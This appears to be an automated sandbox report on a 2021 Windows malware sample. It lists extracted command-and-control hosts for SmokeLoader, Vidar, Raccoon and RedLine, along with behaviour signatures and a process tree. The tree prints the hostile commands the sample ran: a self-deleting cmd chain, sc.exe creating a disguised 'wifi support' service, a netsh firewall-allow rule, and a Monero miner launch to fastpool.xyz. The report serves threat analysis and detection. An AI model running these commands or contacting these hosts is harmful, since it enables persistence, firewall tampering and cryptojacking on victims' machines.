Analysis

  • max time kernel
    153s
  • max time network
    168s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24/08/2021, 12:28

General

  • Target
    2fd6c52c1d56d54b61ea11bd7848b279.exe
  • Size 143KB
  • Sample210824-a7g9d2afpe
  • SHA256 8e90387cf2624357d85a49a7b28b4af5eeef893d3daa7fe9a84459cdf6d453c5
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://readinglistforaugust1.xyz/

  • http://readinglistforaugust2.xyz/

  • http://readinglistforaugust3.xyz/

  • http://readinglistforaugust4.xyz/

  • http://readinglistforaugust5.xyz/

  • http://readinglistforaugust6.xyz/

  • http://readinglistforaugust7.xyz/

  • http://readinglistforaugust8.xyz/

  • http://readinglistforaugust9.xyz/

  • http://readinglistforaugust10.xyz/

  • http://readinglistforaugust1.site/

  • http://readinglistforaugust2.site/

  • http://readinglistforaugust3.site/

  • http://readinglistforaugust4.site/

  • http://readinglistforaugust5.site/

  • http://readinglistforaugust6.site/

  • http://readinglistforaugust7.site/

  • http://readinglistforaugust8.site/

  • http://readinglistforaugust9.site/

  • http://readinglistforaugust10.site/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • vidar

Version
  • 40.1

Botnet
  • 824

C2
  • https://eduarroma.tumblr.com/

Attributes
  • profile_id

    824

Extracted

Family
  • raccoon

Botnet
  • b8ef25fa9e346b7a31e4b6ff160623dd5fed2474

Attributes
  • url4cnc

    https://telete.in/iphbarberleo

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • pro

C2
  • 95.217.117.91:49317

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2fd6c52c1d56d54b61ea11bd7848b279.exe
    "C:\Users\Admin\AppData\Local\Temp\2fd6c52c1d56d54b61ea11bd7848b279.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Users\Admin\AppData\Local\Temp\2fd6c52c1d56d54b61ea11bd7848b279.exe
      "C:\Users\Admin\AppData\Local\Temp\2fd6c52c1d56d54b61ea11bd7848b279.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:4180
  • C:\Users\Admin\AppData\Local\Temp\7928.exe
    C:\Users\Admin\AppData\Local\Temp\7928.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im 7928.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7928.exe" & del C:\ProgramData\*.dll & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im 7928.exe /f
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:200
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 6
        3⤵
        • Delays execution with timeout.exe
        PID:4712
  • C:\Users\Admin\AppData\Local\Temp\7DEC.exe
    C:\Users\Admin\AppData\Local\Temp\7DEC.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:800
  • C:\Users\Admin\AppData\Local\Temp\8129.exe
    C:\Users\Admin\AppData\Local\Temp\8129.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1148
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ynrmzpqr\
      2⤵
        PID:2316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vemkdfii.exe" C:\Windows\SysWOW64\ynrmzpqr\
        2⤵
          PID:4884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ynrmzpqr binPath= "C:\Windows\SysWOW64\ynrmzpqr\vemkdfii.exe /d\"C:\Users\Admin\AppData\Local\Temp\8129.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:4048
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ynrmzpqr "wifi internet conection"
            2⤵
              PID:2872
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ynrmzpqr
              2⤵
                PID:4848
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1616
              • C:\Users\Admin\AppData\Local\Temp\8531.exe
                C:\Users\Admin\AppData\Local\Temp\8531.exe
                1⤵
                • Executes dropped EXE
                PID:1360
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 732
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4172
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 744
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3440
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 748
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3676
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 880
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1000
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 752
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1236
              • C:\Users\Admin\AppData\Local\Temp\86F8.exe
                C:\Users\Admin\AppData\Local\Temp\86F8.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1656
              • C:\Users\Admin\AppData\Local\Temp\8B4E.exe
                C:\Users\Admin\AppData\Local\Temp\8B4E.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:1824
                • C:\Users\Admin\AppData\Local\Temp\8B4E.exe
                  "C:\Users\Admin\AppData\Local\Temp\8B4E.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5008
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:2372
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2768
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:3308
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:4480
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:3496
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:1852
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:4532
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe
                              1⤵
                                PID:1816
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                1⤵
                                  PID:4660
                                • C:\Windows\SysWOW64\ynrmzpqr\vemkdfii.exe
                                  C:\Windows\SysWOW64\ynrmzpqr\vemkdfii.exe /d"C:\Users\Admin\AppData\Local\Temp\8129.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:5032
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe
                                    2⤵
                                    • Drops file in System32 directory
                                    • Suspicious use of SetThreadContext
                                    • Modifies data under HKEY_USERS
                                    PID:2352
                                    • C:\Windows\SysWOW64\svchost.exe
                                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                      3⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:804
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:4584
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe
                                    1⤵
                                      PID:3984
                                    • C:\Windows\SysWOW64\explorer.exe
                                      C:\Windows\SysWOW64\explorer.exe
                                      1⤵
                                        PID:4732
                                      • C:\Windows\SysWOW64\explorer.exe
                                        C:\Windows\SysWOW64\explorer.exe
                                        1⤵
                                          PID:3468
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe
                                          1⤵
                                            PID:4008
                                            • C:\Windows\system32\WerFault.exe
                                              C:\Windows\system32\WerFault.exe -u -p 4008 -s 656
                                              2⤵
                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                              • Program crash
                                              PID:2872
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                              PID:3684
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe
                                              1⤵
                                                PID:1008
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                  PID:1156
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe
                                                  1⤵
                                                    PID:4496

                                                  Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        memory/576-131-0x0000000000400000-0x0000000002402000-memory.dmp

                                                        memory/576-128-0x0000000004030000-0x00000000040CD000-memory.dmp

                                                        memory/800-134-0x0000000001260000-0x0000000001261000-memory.dmp

                                                        memory/800-147-0x0000000003650000-0x0000000003651000-memory.dmp

                                                        memory/800-148-0x0000000005E90000-0x0000000005E91000-memory.dmp

                                                        memory/800-140-0x0000000003E00000-0x0000000003E01000-memory.dmp

                                                        memory/800-197-0x0000000007BB0000-0x0000000007BB1000-memory.dmp

                                                        memory/800-129-0x00000000771D0000-0x000000007735E000-memory.dmp

                                                        memory/800-187-0x0000000007730000-0x0000000007731000-memory.dmp

                                                        memory/800-193-0x0000000007A80000-0x0000000007A81000-memory.dmp

                                                        memory/800-188-0x0000000007E30000-0x0000000007E31000-memory.dmp

                                                        memory/800-155-0x0000000005ED0000-0x0000000005ED1000-memory.dmp

                                                        memory/800-139-0x0000000006460000-0x0000000006461000-memory.dmp

                                                        memory/800-190-0x0000000007650000-0x0000000007651000-memory.dmp

                                                        memory/800-201-0x0000000008510000-0x0000000008511000-memory.dmp

                                                        memory/800-144-0x0000000005F60000-0x0000000005F61000-memory.dmp

                                                        memory/804-251-0x0000000000270000-0x0000000000361000-memory.dmp

                                                        memory/804-246-0x0000000000270000-0x0000000000361000-memory.dmp

                                                        memory/1008-269-0x0000000000350000-0x0000000000356000-memory.dmp

                                                        memory/1148-194-0x0000000002EF0000-0x0000000002F03000-memory.dmp

                                                        memory/1148-195-0x0000000000400000-0x0000000002CB7000-memory.dmp

                                                        memory/1156-272-0x0000000000A00000-0x0000000000A0B000-memory.dmp

                                                        memory/1156-271-0x0000000000A10000-0x0000000000A16000-memory.dmp

                                                        memory/1360-206-0x0000000004930000-0x00000000049BF000-memory.dmp

                                                        memory/1360-209-0x0000000000400000-0x0000000002CFA000-memory.dmp

                                                        memory/1656-199-0x0000000002CC0000-0x0000000002D6E000-memory.dmp

                                                        memory/1656-205-0x0000000000400000-0x0000000002CB2000-memory.dmp

                                                        memory/1816-182-0x0000000000F60000-0x0000000000F65000-memory.dmp

                                                        memory/1816-183-0x0000000000F50000-0x0000000000F59000-memory.dmp

                                                        memory/1824-225-0x0000000006F20000-0x0000000006F46000-memory.dmp

                                                        memory/1824-150-0x0000000004E20000-0x0000000004E21000-memory.dmp

                                                        memory/1824-152-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                        memory/1824-166-0x0000000004EF0000-0x0000000004F01000-memory.dmp

                                                        memory/1824-224-0x0000000009A60000-0x0000000009AEC000-memory.dmp

                                                        memory/1824-151-0x0000000004E10000-0x0000000004E11000-memory.dmp

                                                        memory/1824-145-0x0000000000470000-0x0000000000471000-memory.dmp

                                                        memory/1824-159-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                        memory/1824-157-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

                                                        memory/1824-154-0x0000000004F60000-0x0000000004F61000-memory.dmp

                                                        memory/1824-153-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

                                                        memory/1852-175-0x0000000000EF0000-0x0000000000EFC000-memory.dmp

                                                        memory/1852-174-0x0000000000F00000-0x0000000000F06000-memory.dmp

                                                        memory/2352-219-0x0000000002590000-0x00000000025A5000-memory.dmp

                                                        memory/2372-158-0x0000000000E70000-0x0000000000EE4000-memory.dmp

                                                        memory/2372-160-0x0000000000E00000-0x0000000000E6B000-memory.dmp

                                                        memory/2768-161-0x00000000010C0000-0x00000000010C7000-memory.dmp

                                                        memory/2768-163-0x00000000010B0000-0x00000000010BC000-memory.dmp

                                                        memory/2900-212-0x0000000002EA0000-0x0000000002EB5000-memory.dmp

                                                        memory/2900-117-0x0000000001050000-0x0000000001066000-memory.dmp

                                                        memory/3308-165-0x00000000006A0000-0x00000000006AB000-memory.dmp

                                                        memory/3308-164-0x00000000006B0000-0x00000000006B7000-memory.dmp

                                                        memory/3468-262-0x00000000001F0000-0x00000000001FB000-memory.dmp

                                                        memory/3468-261-0x0000000000400000-0x0000000000407000-memory.dmp

                                                        memory/3496-171-0x0000000000D80000-0x0000000000D85000-memory.dmp

                                                        memory/3496-172-0x0000000000D70000-0x0000000000D79000-memory.dmp

                                                        memory/3684-266-0x0000000000970000-0x0000000000975000-memory.dmp

                                                        memory/3684-267-0x0000000000960000-0x0000000000969000-memory.dmp

                                                        memory/3984-254-0x00000000012B0000-0x00000000012B7000-memory.dmp

                                                        memory/4008-264-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                                        memory/4180-114-0x0000000000400000-0x0000000000409000-memory.dmp

                                                        memory/4480-168-0x0000000001230000-0x0000000001239000-memory.dmp

                                                        memory/4480-169-0x0000000001220000-0x000000000122F000-memory.dmp

                                                        memory/4496-274-0x0000000000E80000-0x0000000000E87000-memory.dmp

                                                        memory/4496-275-0x0000000000BF0000-0x0000000000BFD000-memory.dmp

                                                        memory/4532-180-0x0000000000B70000-0x0000000000B79000-memory.dmp

                                                        memory/4532-179-0x0000000000B80000-0x0000000000B84000-memory.dmp

                                                        memory/4584-255-0x0000000000B70000-0x0000000000BDB000-memory.dmp

                                                        memory/4584-253-0x0000000000E00000-0x0000000000E74000-memory.dmp

                                                        memory/4660-186-0x00000000008D0000-0x00000000008D9000-memory.dmp

                                                        memory/4660-185-0x00000000008E0000-0x00000000008E5000-memory.dmp

                                                        memory/4732-259-0x0000000000F20000-0x0000000000F29000-memory.dmp

                                                        memory/4732-258-0x0000000000F30000-0x0000000000F34000-memory.dmp

                                                        memory/4796-116-0x0000000002DB0000-0x0000000002DBA000-memory.dmp

                                                        memory/5008-237-0x0000000005460000-0x0000000005461000-memory.dmp

                                                        memory/5008-236-0x0000000005300000-0x0000000005906000-memory.dmp

                                                        memory/5008-226-0x0000000000400000-0x0000000000420000-memory.dmp

                                                        memory/5032-223-0x0000000000400000-0x0000000002CB7000-memory.dmp